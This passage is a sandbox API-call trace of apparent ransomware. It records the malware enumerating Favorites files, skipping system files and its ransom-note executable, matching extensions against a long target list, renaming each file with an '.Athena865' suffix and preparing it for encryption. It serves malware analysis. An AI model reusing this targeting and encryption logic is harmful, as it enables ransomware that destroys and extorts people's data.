[0101.821] lstrcmpiW (lpString1="url", lpString2="udb") returned 1 [0101.821] lstrlenW (lpString="udl") returned 3 [0101.821] lstrcmpiW (lpString1="url", lpString2="udl") returned 1 [0101.821] lstrlenW (lpString="usr") returned 3 [0101.821] lstrcmpiW (lpString1="url", lpString2="usr") returned -1 [0101.821] lstrlenW (lpString="v12") returned 3 [0101.821] lstrcmpiW (lpString1="url", lpString2="v12") returned -1 [0101.821] lstrlenW (lpString="vis") returned 3 [0101.821] lstrcmpiW (lpString1="url", lpString2="vis") returned -1 [0101.821] lstrlenW (lpString="vpd") returned 3 [0101.822] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1 [0101.822] lstrlenW (lpString="vvv") returned 3 [0101.822] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1 [0101.822] lstrlenW (lpString="wdb") returned 3 [0101.822] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1 [0101.822] lstrlenW (lpString="wmdb") returned 4 [0101.822] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1 [0101.822] lstrlenW (lpString="wrk") returned 3 [0101.822] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1 [0101.822] lstrlenW (lpString="xdb") returned 3 [0101.822] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1 [0101.822] lstrlenW (lpString="xld") returned 3 [0101.823] lstrcmpiW (lpString1="url", lpString2="xld") returned -1 [0101.823] lstrlenW (lpString="xmlff") returned 5 [0101.823] lstrcmpiW (lpString1="s.url", lpString2="xmlff") returned -1 [0101.823] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.Athena865") returned 93 [0101.823] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.athena865"), dwFlags=0x1) returned 1 [0101.824] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.825] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.826] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.827] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.827] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.827] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.828] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.829] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.830] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.830] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0101.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0101.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.831] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.831] CloseHandle (hObject=0x17c) returned 1 [0101.831] CloseHandle (hObject=0x154) returned 1 [0101.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.831] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".") returned 1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="..") returned 1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="windows") returned -1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="bootmgr") returned 1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="temp") returned -1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="pagefile.sys") returned -1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="boot") returned 1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="ids.txt") returned 1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="ntuser.dat") returned -1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="perflogs") returned -1 [0101.831] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="MSBuild") returned 1 [0101.831] lstrlenW (lpString="MSN Entertainment.url") returned 21 [0101.831] lstrcpyW (in: lpString1=0x241e8d4, lpString2="MSN Entertainment.url" | out: lpString1="MSN Entertainment.url") returned="MSN Entertainment.url" [0101.832] lstrlenW (lpString="MSN Entertainment.url") returned 21 [0101.832] lstrlenW (lpString="Athena865") returned 9 [0101.832] lstrcmpiW (lpString1="nment.url", lpString2="Athena865") returned 1 [0101.832] lstrlenW (lpString=".dll") returned 4 [0101.832] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".dll") returned 1 [0101.832] lstrlenW (lpString=".lnk") returned 4 [0101.832] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".lnk") returned 1 [0101.832] lstrlenW (lpString=".ini") returned 4 [0101.832] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".ini") returned 1 [0101.832] lstrlenW (lpString=".sys") returned 4 [0101.832] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".sys") returned 1 [0101.832] lstrlenW (lpString="MSN Entertainment.url") returned 21 [0101.832] lstrlenW (lpString="bak") returned 3 [0101.832] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0101.832] lstrlenW (lpString="ba_") returned 3 [0101.832] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0101.832] lstrlenW (lpString="dbb") returned 3 [0101.832] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0101.832] lstrlenW (lpString="vmdk") returned 4 [0101.832] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0101.832] lstrlenW (lpString="rar") returned 3 [0101.832] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0101.832] lstrlenW (lpString="zip") returned 3 [0101.832] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0101.832] lstrlenW (lpString="tgz") returned 3 [0101.832] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0101.832] lstrlenW (lpString="vbox") returned 4 [0101.832] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0101.832] lstrlenW (lpString="vdi") returned 3 [0101.832] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0101.832] lstrlenW (lpString="vhd") returned 3 [0101.833] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0101.833] lstrlenW (lpString="vhdx") returned 4 [0101.833] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0101.833] lstrlenW (lpString="avhd") returned 4 [0101.833] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0101.833] lstrlenW (lpString="db") returned 2 [0101.833] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0101.833] lstrlenW (lpString="db2") returned 3 [0101.833] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0101.833] lstrlenW (lpString="db3") returned 3 [0101.833] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0101.833] lstrlenW (lpString="dbf") returned 3 [0101.833] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0101.833] lstrlenW (lpString="mdf") returned 3 [0101.833] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0101.833] lstrlenW (lpString="mdb") returned 3 [0101.833] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0101.833] lstrlenW (lpString="sql") returned 3 [0101.833] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0101.833] lstrlenW (lpString="sqlite") returned 6 [0101.833] lstrcmpiW (lpString1="nt.url", lpString2="sqlite") returned -1 [0101.833] lstrlenW (lpString="sqlite3") returned 7 [0101.833] lstrcmpiW (lpString1="ent.url", lpString2="sqlite3") returned -1 [0101.833] lstrlenW (lpString="sqlitedb") returned 8 [0101.833] lstrcmpiW (lpString1="ment.url", lpString2="sqlitedb") returned -1 [0101.833] lstrlenW (lpString="xml") returned 3 [0101.833] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0101.833] lstrlenW (lpString="$er") returned 3 [0101.833] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0101.833] lstrlenW (lpString="4dd") returned 3 [0101.833] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0101.833] lstrlenW (lpString="4dl") returned 3 [0101.833] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0101.834] lstrlenW (lpString="^^^") returned 3 [0101.834] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0101.834] lstrlenW (lpString="abs") returned 3 [0101.834] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0101.834] lstrlenW (lpString="abx") returned 3 [0101.834] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0101.834] lstrlenW (lpString="accdb") returned 5 [0101.834] lstrcmpiW (lpString1="t.url", lpString2="accdb") returned 1 [0101.834] lstrlenW (lpString="accdc") returned 5 [0101.834] lstrcmpiW (lpString1="t.url", lpString2="accdc") returned 1 [0101.834] lstrlenW (lpString="accde") returned 5 [0101.834] lstrcmpiW (lpString1="t.url", lpString2="accde") returned 1 [0101.834] lstrlenW (lpString="accdr") returned 5 [0101.834] lstrcmpiW (lpString1="t.url", lpString2="accdr") returned 1 [0101.834] lstrlenW (lpString="accdt") returned 5 [0101.834] lstrcmpiW (lpString1="t.url", lpString2="accdt") returned 1 [0101.834] lstrlenW (lpString="accdw") returned 5 [0101.834] lstrcmpiW (lpString1="t.url", lpString2="accdw") returned 1 [0101.834] lstrlenW (lpString="accft") returned 5 [0101.834] lstrcmpiW (lpString1="t.url", lpString2="accft") returned 1 [0101.834] lstrlenW (lpString="adb") returned 3 [0101.834] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.834] lstrlenW (lpString="adb") returned 3 [0101.834] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.834] lstrlenW (lpString="ade") returned 3 [0101.834] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0101.834] lstrlenW (lpString="adf") returned 3 [0101.834] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0101.834] lstrlenW (lpString="adn") returned 3 [0101.834] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0101.834] lstrlenW (lpString="adp") returned 3 [0101.834] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0101.834] lstrlenW (lpString="alf") returned 3 [0101.835] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0101.835] lstrlenW (lpString="ask") returned 3 [0101.835] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0101.835] lstrlenW (lpString="btr") returned 3 [0101.835] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0101.835] lstrlenW (lpString="cat") returned 3 [0101.835] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0101.835] lstrlenW (lpString="cdb") returned 3 [0101.835] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0101.835] lstrlenW (lpString="ckp") returned 3 [0101.835] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0101.835] lstrlenW (lpString="cma") returned 3 [0101.835] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0101.835] lstrlenW (lpString="cpd") returned 3 [0101.835] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0101.835] lstrlenW (lpString="dacpac") returned 6 [0101.835] lstrcmpiW (lpString1="nt.url", lpString2="dacpac") returned 1 [0101.835] lstrlenW (lpString="dad") returned 3 [0101.835] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0101.835] lstrlenW (lpString="dadiagrams") returned 10 [0101.835] lstrcmpiW (lpString1="inment.url", lpString2="dadiagrams") returned 1 [0101.835] lstrlenW (lpString="daschema") returned 8 [0101.835] lstrcmpiW (lpString1="ment.url", lpString2="daschema") returned 1 [0101.835] lstrlenW (lpString="db-journal") returned 10 [0101.835] lstrcmpiW (lpString1="inment.url", lpString2="db-journal") returned 1 [0101.835] lstrlenW (lpString="db-shm") returned 6 [0101.835] lstrcmpiW (lpString1="nt.url", lpString2="db-shm") returned 1 [0101.835] lstrlenW (lpString="db-wal") returned 6 [0101.835] lstrcmpiW (lpString1="nt.url", lpString2="db-wal") returned 1 [0101.835] lstrlenW (lpString="dbc") returned 3 [0101.835] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0101.835] lstrlenW (lpString="dbs") returned 3 [0101.836] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0101.836] lstrlenW (lpString="dbt") returned 3 [0101.836] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0101.836] lstrlenW (lpString="dbv") returned 3 [0101.836] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0101.836] lstrlenW (lpString="dbx") returned 3 [0101.836] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0101.836] lstrlenW (lpString="dcb") returned 3 [0101.836] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0101.836] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.Athena865") returned 101 [0101.836] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.athena865"), dwFlags=0x1) returned 1 [0101.837] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.838] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.838] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.839] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.839] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.839] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.841] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.841] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.842] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.842] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0101.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0101.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.845] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2=".") returned 1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2="..") returned 1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2="windows") returned -1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2="bootmgr") returned 1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2="temp") returned -1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2="pagefile.sys") returned -1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2="boot") returned 1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2="ids.txt") returned 1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2="ntuser.dat") returned -1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2="perflogs") returned -1 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2="MSBuild") returned 1 [0101.845] lstrlenW (lpString="MSN Money.url") returned 13 [0101.845] lstrcpyW (in: lpString1=0x241e8d4, lpString2="MSN Money.url" | out: lpString1="MSN Money.url") returned="MSN Money.url" [0101.845] lstrlenW (lpString="MSN Money.url") returned 13 [0101.845] lstrlenW (lpString="Athena865") returned 9 [0101.845] lstrcmpiW (lpString1="Money.url", lpString2="Athena865") returned 1 [0101.845] lstrlenW (lpString=".dll") returned 4 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2=".dll") returned 1 [0101.845] lstrlenW (lpString=".lnk") returned 4 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2=".lnk") returned 1 [0101.845] lstrlenW (lpString=".ini") returned 4 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2=".ini") returned 1 [0101.845] lstrlenW (lpString=".sys") returned 4 [0101.845] lstrcmpiW (lpString1="MSN Money.url", lpString2=".sys") returned 1 [0101.845] lstrlenW (lpString="MSN Money.url") returned 13 [0101.845] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.Athena865") returned 93 [0101.845] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.athena865"), dwFlags=0x1) returned 1 [0101.847] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.847] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.847] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.848] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.848] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.848] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.850] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.851] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.852] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.852] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.852] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".") returned 1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2="..") returned 1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2="windows") returned -1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2="bootmgr") returned 1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2="temp") returned -1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2="pagefile.sys") returned -1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2="boot") returned 1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2="ids.txt") returned 1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2="ntuser.dat") returned -1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2="perflogs") returned -1 [0101.852] lstrcmpiW (lpString1="MSN Sports.url", lpString2="MSBuild") returned 1 [0101.852] lstrlenW (lpString="MSN Sports.url") returned 14 [0101.853] lstrcpyW (in: lpString1=0x241e8d4, lpString2="MSN Sports.url" | out: lpString1="MSN Sports.url") returned="MSN Sports.url" [0101.853] lstrlenW (lpString="MSN Sports.url") returned 14 [0101.853] lstrlenW (lpString="Athena865") returned 9 [0101.853] lstrcmpiW (lpString1="ports.url", lpString2="Athena865") returned 1 [0101.853] lstrlenW (lpString=".dll") returned 4 [0101.853] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".dll") returned 1 [0101.853] lstrlenW (lpString=".lnk") returned 4 [0101.853] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".lnk") returned 1 [0101.853] lstrlenW (lpString=".ini") returned 4 [0101.853] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".ini") returned 1 [0101.853] lstrlenW (lpString=".sys") returned 4 [0101.853] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".sys") returned 1 [0101.853] lstrlenW (lpString="MSN Sports.url") returned 14 [0101.853] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.Athena865") returned 94 [0101.853] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.athena865"), dwFlags=0x1) returned 1 [0101.854] CreateFileW (lpFileName="C:\\Documents and 